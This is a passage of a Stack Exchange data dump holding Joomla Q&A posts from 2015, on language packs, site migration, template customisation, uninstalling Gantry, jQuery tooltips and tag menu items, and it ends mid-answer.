  <row Id="13558" PostTypeId="1" CreationDate="2015-09-11T13:49:37.123" Score="1" ViewCount="61" Body="&lt;p&gt;I am new to Joomla and looking for something related to the custom translation in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add my own language in Joomla if it is not listed by default? Is there anything available in Joomla by which I can add create those languages which are currently not available in Joomla system?&lt;/p&gt;&#xA;" OwnerUserId="6900" LastEditorUserId="1629" LastEditDate="2015-09-11T17:08:28.373" LastActivityDate="2015-10-11T17:51:48.657" Title="Custom core translation in Joomla" Tags="|joomla-3.x|development|translation|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13559" PostTypeId="2" ParentId="13558" CreationDate="2015-09-11T17:04:11.060" Score="2" Body="&lt;p&gt;If I understand correctly, you want to create your own Joomla language pack for Pashto, because this language is not available as a &lt;a href=&quot;http://community.joomla.org/translations/joomla-3-translations.html&quot; rel=&quot;nofollow&quot;&gt;Translation pack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find a complete guide on how to create a Joomla core language pack &lt;a href=&quot;https://docs.joomla.org/J3.x:Making_a_Language_Pack_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. If you only need to translate the Front end, you might want to skip to the instructions for &lt;a href=&quot;https://docs.joomla.org/J3.x:Making_a_Language_Pack_for_Joomla#The_Site-only_pack&quot; rel=&quot;nofollow&quot;&gt;Site only pack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to create everything from scratch, you can also download an existing translation from a language similar to Pashto (you know better than me what language that would be, if any). Then extract all the files, and change the translations. Also make sure you edit all &lt;code&gt;.php&lt;/code&gt; files included. The tutorial I mentioned earlier explains what the different &lt;code&gt;.php&lt;/code&gt; files do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember to name your files correctly with the corresponding language tag. &lt;a href=&quot;https://docs.joomla.org/J3.x:Making_a_Language_Pack_for_Joomla#Standard_ISO_codes_for_naming_language_packages&quot; rel=&quot;nofollow&quot;&gt;Joomla uses the ISO system to create language tags&lt;/a&gt; using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the languagecode&lt;/li&gt;&#xA;&lt;li&gt;the countrycode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I believe the correct language tag for Pastho would be &lt;code&gt;ps_AF&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-11T17:04:11.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13560" PostTypeId="2" ParentId="13556" CreationDate="2015-09-11T17:24:11.070" Score="2" Body="&lt;p&gt;Migrating Joomla 1.5 to 2.5 or 3 can be a complex process, depending on what extensions you have on your current website. It's almost never a one-click process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, &lt;strong&gt;make sure you have a complete backup of your site&lt;/strong&gt; (I recommend &lt;a href=&quot;http://www.akeebabackup.com&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to do the migration, I'm going to list a couple of alternatives, but first keep in mind the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your current template will most probably not work with Joomla 3. You'll have to:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modify it to make it compatible&lt;/li&gt;&#xA;&lt;li&gt;download a new version from the template provider (if available)&lt;/li&gt;&#xA;&lt;li&gt;use a different template&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;You'll have to look for an upgraded version of most of your extensions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;1. Build a new site&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Taking into account the points above, you might be better of creating a completely new site. Then use &lt;a href=&quot;http://www.eshiol.it/&quot; rel=&quot;nofollow&quot;&gt;J2XML&lt;/a&gt; to import articles (with images), categories, menus and users. This will give you a kickstart, and the advantage is that you have a very clean Joomla installation. They even have a &lt;a href=&quot;http://www.eshiol.it/joomla/j2xml/joomla-15-to-30.html&quot; rel=&quot;nofollow&quot;&gt;guide for Joomla 1.5 -&gt; 3 migration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. Try other migration tools&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A list of different tools for Joomla migration is available at &lt;a href=&quot;http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt;. As long as you work on a copy of your site, there's nothing wrong with testing different solutions (except it might be time consuming).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to reduce the risk of extensions causing trouble with the migration process, I recommend uninstalling as many components and plugins as possible before beginning the migration process. Also try setting the front end and admin template back to default.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-09-11T17:33:03.340" LastActivityDate="2015-09-11T17:33:03.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13561" PostTypeId="1" CreationDate="2015-09-11T18:09:33.757" Score="0" ViewCount="252" Body="&lt;p&gt;I've helped my school making its website, but a friend of mine who made it with me, somehow set himself as the 'owner' so whenever I link the website the Google Preview lists an image and a written saying 'by ...' how do I find that name and replace it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to replace it with my teacher's, thanks.&lt;/p&gt;&#xA;" OwnerUserId="6902" LastActivityDate="2015-09-12T09:24:57.597" Title="How to set Website Owner" Tags="|administration|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13562" PostTypeId="2" ParentId="13556" CreationDate="2015-09-11T20:29:16.670" Score="0" Body="&lt;p&gt;I faced the same problem with J2XML - the content import stopped at some point. However, &lt;a href=&quot;http://www.eshiol.it/joomla/j2xml/joomla-15-to-30.html&quot; rel=&quot;nofollow&quot;&gt;its tutorial&lt;/a&gt; explained where the problem is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you receive the error message &quot;File format unknown. Impossible to&#xA;  import file.&quot; or a blank page, you probably tried to import too large&#xA;  file. Please, try exporting articles without images. You can copy them&#xA;  in a second time via ftp.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;EDIT: confirmed for redMigrator - I skipped the contents table (including the large files) and migration finished succesfully.&lt;/p&gt;&#xA;" OwnerUserId="3745" LastEditorUserId="3745" LastEditDate="2015-09-16T09:40:53.723" LastActivityDate="2015-09-16T09:40:53.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13564" PostTypeId="1" CreationDate="2015-09-11T22:27:46.817" Score="1" ViewCount="117" Body="&lt;p&gt;I am using Joomla 3 and I want to know how do to display the articles of the main category in the subcategories in a blog layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Category Project&#xA;    * Article Global&#xA;    &amp;gt; City 1&#xA;        * Article Global&#xA;        * Article City 1&#xA;    &amp;gt; City 2&#xA;        * Article Global&#xA;        * Article City 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6904" LastEditorUserId="6904" LastEditDate="2015-09-12T13:15:38.690" LastActivityDate="2016-04-09T17:38:35.650" Title="Show articles of the Category in Subcategories" Tags="|articles|category|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13565" PostTypeId="1" CreationDate="2015-09-12T00:23:56.933" Score="1" ViewCount="500" Body="&lt;ol&gt;&#xA;&lt;li&gt;In Zoo Applications I create element Radio with 3 options: Red, Green, Blue&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I need acess this &quot;option value&quot; was stored: red or green or blue in database like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;7045c737-906a-4776-b390-0f9529b411a6&quot;:  {&#xA;        &quot;option&quot;:  {&#xA;            &quot;0&quot;: &quot;red&quot;&#xA;        }&#xA;    },&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can i load this value &quot;red&quot;? I try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$zoo= App::getInstance('zoo');&#xA;$Zoo_Item_id= $item_id;&#xA;$items = $zoo-&amp;gt;table-&amp;gt;item-&amp;gt;get($Zoo_Item_id);&#xA;$element_id = 'e455c93e-6514-480b-8891-e61a9ef32a99';&#xA;$element_value = $items-&amp;gt;getElement($element_id)-&amp;gt;getElementData()-&amp;gt;get('value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for &quot;radio&quot; not working;&#xA;If i change $element_id for text content this code working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see documentation for element access:&#xA;&lt;a href=&quot;http://yootheme.com/zoo/documentation/developers/accessing-element-data&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/documentation/developers/accessing-element-data&lt;/a&gt;&#xA;But when element was radio, i dont know what do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me please?&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2017-08-01T05:33:14.110" Title="How to acess element data when element was radio?" Tags="|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13566" PostTypeId="2" ParentId="13564" CreationDate="2015-09-12T00:32:13.577" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create Menu Item:&#xA;Menu item Type:: Articles &gt;&gt; List All Category &gt;&gt;&lt;/li&gt;&#xA;&lt;li&gt;In Tab &quot;Category&quot; look for &quot;Subcategories Levels&quot;; Choos &quot;ALL&quot;;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-12T00:32:13.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13567" PostTypeId="2" ParentId="13561" CreationDate="2015-09-12T09:24:57.597" Score="1" Body="&lt;p&gt;To change the author name globally, go to your administrator page, open &lt;strong&gt;Users -&gt; User Manager&lt;/strong&gt; then find your friend's name using the search field. Simply change it to your teacher name, if you found it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the author name indiviually, manually, go to &lt;strong&gt;Content -&gt; Manage&lt;/strong&gt;. Find the article you want to change, then in the &lt;strong&gt;Publishing&lt;/strong&gt; tab, enter your teacher name in the &lt;strong&gt;Author&lt;/strong&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that any changes you made, will take some time for Google to fix it, at least until they re-crawl your pages.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-12T09:24:57.597" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="13568" PostTypeId="1" CreationDate="2015-09-12T10:49:01.973" Score="0" ViewCount="303" Body="&lt;p&gt;So I have this php code in my joomla site (joomla's latest article module) and id I'd like to add a bootstrap tooltip to the title of my links. Can someone point me in the right direction as to how i I add this script to a php page. Thanks in advance. Here's the script i got from w3schools.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function(){&#xA;$('[data-toggle=&quot;tooltip&quot;]').tooltip();   &#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;and my code which i already have.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;div style=&quot;float: left;margin-right: 47px;&quot;&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;latestnews&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($list as $item) :  ?&amp;gt;&#xA;&amp;lt;li itemscope itemtype=&quot;http://schema.org/Article&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; data-toggle=&quot;tooltip&quot; title=&quot;&amp;lt;?php   echo $item-&amp;gt;title; ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&amp;lt;img src=&quot;/images /sound.png&quot; /&amp;gt;&amp;amp;nbsp;&#xA;    &amp;lt;span itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6905" LastEditorUserId="6905" LastEditDate="2015-09-12T10:59:59.590" LastActivityDate="2016-02-09T18:10:24.493" Title="How to implement this php code?" Tags="|php|joomla-3.4|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13572" PostTypeId="2" ParentId="13568" CreationDate="2015-09-12T14:03:13.187" Score="1" Body="&lt;p&gt;You should be able to add your jQuery code right after your existing code, but Joomla runs jQuery in &lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks#jQuery_JavaScript_Framework&quot; rel=&quot;nofollow&quot;&gt;noconflict mode&lt;/a&gt;, so you have to change &lt;code&gt;$&lt;/code&gt; to &lt;code&gt;jQuery&lt;/code&gt;, or wrap your code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  jQuery(document).ready(function ($) {&#xA;    $('[data-toggle=&quot;tooltip&quot;]').tooltip();   &#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your entire code would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;div style=&quot;float: left;margin-right: 47px;&quot;&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;latestnews&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($list as $item) :  ?&amp;gt;&#xA;&amp;lt;li itemscope itemtype=&quot;http://schema.org/Article&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; data-toggle=&quot;tooltip&quot; title=&quot;&amp;lt;?php   echo $item-&amp;gt;title; ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&amp;lt;img src=&quot;/images /sound.png&quot; /&amp;gt;&amp;amp;nbsp;&#xA;    &amp;lt;span itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;  jQuery(document).ready(function ($) {&#xA;    $('[data-toggle=&quot;tooltip&quot;]').tooltip();   &#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-12T14:03:13.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13573" PostTypeId="1" AcceptedAnswerId="13574" CreationDate="2015-09-12T15:02:49.353" Score="0" ViewCount="574" Body="&lt;p&gt;I have copied the default Beez3 template to another name in order to customize the design and layout without disturbing the original template. Most modifications are taking place in the copy's &lt;em&gt;personal.css&lt;/em&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also changed the constant names in the file &lt;em&gt;/templates/mytemplatename/language/en-GB/en-GB-tpl_tps.ini&lt;/em&gt; from TPL_BEEZ3_* to TPL_TPS_* to remove references to the Beez3 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since changing those constant names, the site now displays those constant names instead of the values defined in the .ini file.  The text links for changing the font size also displays 'undefined'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exactly how do I fix this ??&#xA;Any tips greatly appreciated !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6907" LastActivityDate="2015-09-12T15:18:57.203" Title="J 3.4 | Beez 3 | Customizing" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13574" PostTypeId="2" ParentId="13573" CreationDate="2015-09-12T15:18:57.203" Score="0" Body="&lt;p&gt;The language files located under your /templates/mytemplatename/language/en-GB/ folder are intended for installation process purpose. Since you're manually duplicating the template files, you need to copy the language files manually to this folder too : /language/en-GB/en-GB.tpl_tps.ini&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-12T15:18:57.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13575" PostTypeId="1" CreationDate="2015-09-12T15:43:57.713" Score="1" ViewCount="2425" Body="&lt;p&gt;I installed Gantry 5 and the Hydrogen theme just to see what it's all about and I'd like to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was not specified that just playing around with the theme to see how it works would cause it to become the default and hijack the current template. I managed to get my template back as the current, but can't seem to remove the Hydrogen theme or the Gantry components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone guide me on removing this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6907" LastEditorUserId="2324" LastEditDate="2015-10-06T07:45:22.357" LastActivityDate="2016-04-03T13:13:14.393" Title="How to remove Gantry 5 and theme" Tags="|joomla-3.3.x|gantry|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13576" PostTypeId="2" ParentId="13575" CreationDate="2015-09-12T16:39:06.513" Score="3" Body="&lt;p&gt;To completely uninstalling Gantry (including its plugins, files, libs module) you need to uninstall the Gantry 5 &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow&quot;&gt;Package&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your joomla administrator page go to : &lt;em&gt;Extensions &gt; Manage &gt; Manage&lt;/em&gt; then in the sidebar, change the filter type dropdown to &lt;strong&gt;Package&lt;/strong&gt;.&#xA;Go to the right side then search for 'Gantry'. You should see Gantry 5 Package in the list, simply check the checkbox and click the uninstall button. All Gantry related extensions (plugins, libs, modules etc) should have been removed now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To uninstall the hydrogen template, simply repeat above steps, but when choosing the type filter, choose &lt;strong&gt;Template&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hydrogen also creates a new menu when you install it. It also creates a new menu item and set it as a default menu item. To fix this, go to your Menu&gt;Main menu, set Home as the default menu. Then go to Menu&gt;Manage then delete the Hydrogen menu&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-04-03T13:13:14.393" LastActivityDate="2016-04-03T13:13:14.393" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13580" PostTypeId="1" CreationDate="2015-09-13T14:23:58.247" Score="0" ViewCount="45" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W7etB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W7etB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I havn't touched this 2.5 site for a long time, now it needs to be upgraded to 3.4. In order for that I need to uninstall/upgrade extensions. When I try to uninstall one of them, I got this error as shown in the picture. There are several questions regarding this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)under &lt;code&gt;administrator&lt;/code&gt; folder, no folder appears to correspond this component(AG_Google_Analytics2), where does joomla get the component list, a.k.a why is it shown in the extension manager?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)I know when creating a component, we need to create a XML file listing all files the component will use, I guess the uninstaller also use this file to delete all the related files. It seems to me this XML file of this component in question has been missing, so is there anyway to manually uninstall it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)Is there any extension helping people deal with this issue?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2015-09-13T23:27:53.427" Title="2.5: trying to uninstall a component but got error - how to manually uninstall a component and other questions" Tags="|joomla-2.5|extensions|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13581" PostTypeId="2" ParentId="2414" CreationDate="2015-09-13T16:43:28.667" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Seth Warburton wrote:&#xA;  Bootstrap tabs (and carousels and modals) are initially set to display&#xA;  none, until they become active, so the parent element of your map has&#xA;  height / width of 0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I had the same problem with Bootstrap3 as you. finally I ended up with the simple CSS solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tab-content.tab-pane,&#xA;.tab-pane {&#xA;    /* display: none; */&#xA;    display: block;&#xA;    visibility: hidden;&#xA;    position: absolute;&#xA;}&#xA;&#xA;.tab-content.active,&#xA;.tab-content .tab-pane.active,&#xA;.tab-pane.active {&#xA;    /* display: block; */&#xA;    visibility: visible;&#xA;    position: static;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6912" LastActivityDate="2015-09-13T16:43:28.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13582" PostTypeId="1" AcceptedAnswerId="13636" CreationDate="2015-09-13T20:52:38.827" Score="0" ViewCount="152" Body="&lt;p&gt;When i copy row of &lt;strong&gt;joomla_content&lt;/strong&gt; in database, that article show in articles component in management but not showing it in feature page(home).&lt;br&gt;&#xA;except &lt;em&gt;id&lt;/em&gt; all columns are similar with orginal article.  notice article is published and my homepage show feature articles.&lt;/p&gt;&#xA;" OwnerUserId="6913" LastActivityDate="2015-09-17T08:24:08.590" Title="How to copy article from database in joomla?" Tags="|joomla-3.x|articles|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13583" PostTypeId="1" AcceptedAnswerId="13671" CreationDate="2015-09-13T22:24:51.433" Score="9" ViewCount="9156" Body="&lt;p&gt;I want to create a menu item for a tag that shows the articles as in category blog layout. I have tried with these menu item types: &quot;Compact List of Tagged Items&quot;, &quot;List of all tags&quot; and &quot;Tagged Items&quot; but with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://docs.joomla.org/J3.x:How_To_Use_Content_Tags_in_Joomla!&quot;&gt;official documentation of content tags&lt;/a&gt;, it seems to be possible.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once you have tags and some tagged items you can display them in the&#xA;  front end in several ways.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By default Joomla! will display tags embedded in each item that has&#xA;  been tagged. &#xA;  You can turn this display off by changing the parameters. You can control positioning of this display with layout overrides and&#xA;  alternate layouts and you can style it with your css.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can create a menu link that displays a list of tags, with links to the tagged items for each tag. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&gt; You can create a menu link that displays a list of&#xA;  tagged items for a given tag and display either as a list or blog&#xA;  style.&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can use one of the tags modules. Popular tags will display&#xA;  a linked list of the tags that have the most tagged items. Similar&#xA;  Tags will display a list of items that have a similar set of tags to&#xA;  the currently displayed item (note that this module does not display&#xA;  on pages that are not showing content items).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1881" LastEditorUserId="2295" LastEditDate="2015-09-14T07:54:52.493" LastActivityDate="2019-03-15T11:34:03.523" Title="How to show tagged items in category blog layout" Tags="|menu-item|tags|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13584" PostTypeId="2" ParentId="13580" CreationDate="2015-09-13T23:27:53.427" Score="1" Body="&lt;p&gt;Try to reinstall the component first, and then try to uninstall it again.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-13T23:27:53.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13585" PostTypeId="1" AcceptedAnswerId="13592" CreationDate="2015-09-14T03:55:16.223" Score="0" ViewCount="83" Body="&lt;p&gt;I have a dedicated share Ip with multiple cpanels, and multiple domain names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I work we have about 20 different products that we promote in different landing pages, currently each landing page is a wordpress site with their own unique domain. I want to change this to have everything in one place and with Joomla. This way I can have only ideally 1 installation and 20 pages (1 per landing page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have follow the instructions on Multiple Domains and Web Sites in a single Joomla! installation &lt;a href=&quot;https://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&lt;/a&gt;  in order to manage the redirects, however this doesnt explain how to manage the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHat I have done is I have 20 cpanels and in each I have install Joomla and modify the config.php to connect to the same database, however each installation of joomla still feeds from their own directory and i want to be feed from the master directory (the original joomla site with the website that has the 20 pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve this or I am approaching this the wrong way?&lt;/p&gt;&#xA;" OwnerUserId="2181" LastActivityDate="2015-09-14T10:52:52.597" Title="Landing pages management" Tags="|development|article-manager|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13586" PostTypeId="1" CreationDate="2015-09-14T06:16:23.643" Score="0" ViewCount="55" Body="&lt;p&gt;I try to learn one CMS for a new website, and I have some questions about Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What of the items below are not included as an inherent component of Joomla ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Components&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Social Media&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) User Management&lt;/p&gt;&#xA;" OwnerUserId="6915" LastEditorUserId="126" LastEditDate="2015-09-15T07:04:00.617" LastActivityDate="2016-02-12T09:16:28.553" Title="Inherent components of Joomla" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13587" PostTypeId="2" ParentId="13586" CreationDate="2015-09-14T06:45:40.983" Score="1" Body="&lt;p&gt;Answer : Social Media&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates : you must download them from a store.True..but you can install joomla templates into the system, so it already supports it (even if it doesn't have them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components : is kind of the term they use to describe plugins&#xA;and technically &quot;components&quot; are not built-in, but if you ask if joomla supports components, the answer is yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Social Media : does joomla let you share photos and like them and share with others? Joomla isn't a 2nd facebook&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Management : it has a user backend, so yes, it has a built-in user management system&lt;/p&gt;&#xA;" OwnerUserId="6915" LastActivityDate="2015-09-14T06:45:40.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13589" PostTypeId="2" ParentId="13529" CreationDate="2015-09-14T09:57:28.833" Score="1" Body="&lt;p&gt;I tried various things on a clean Joomla and was not able to find anything obvious, or replicate the issue. This seems to be something specific to your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can give you a few troubleshooting directions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start disabling the majority of plugins one by one as a first step, to see if it is related with any of those.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Possible originations of this message are in the following files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/libraries/legacy/controller/form.php   &lt;/li&gt;&#xA;&lt;li&gt;/administrator/components/com_finder/controllers/filter.php    &lt;/li&gt;&#xA;&lt;li&gt;/administrator/components/com_menus/controllers/item.php   &lt;/li&gt;&#xA;&lt;li&gt;/administrator/components/com_menus/controllers/menu.php    &lt;/li&gt;&#xA;&lt;li&gt;/administrator/components/com_languages/controllers/override.php    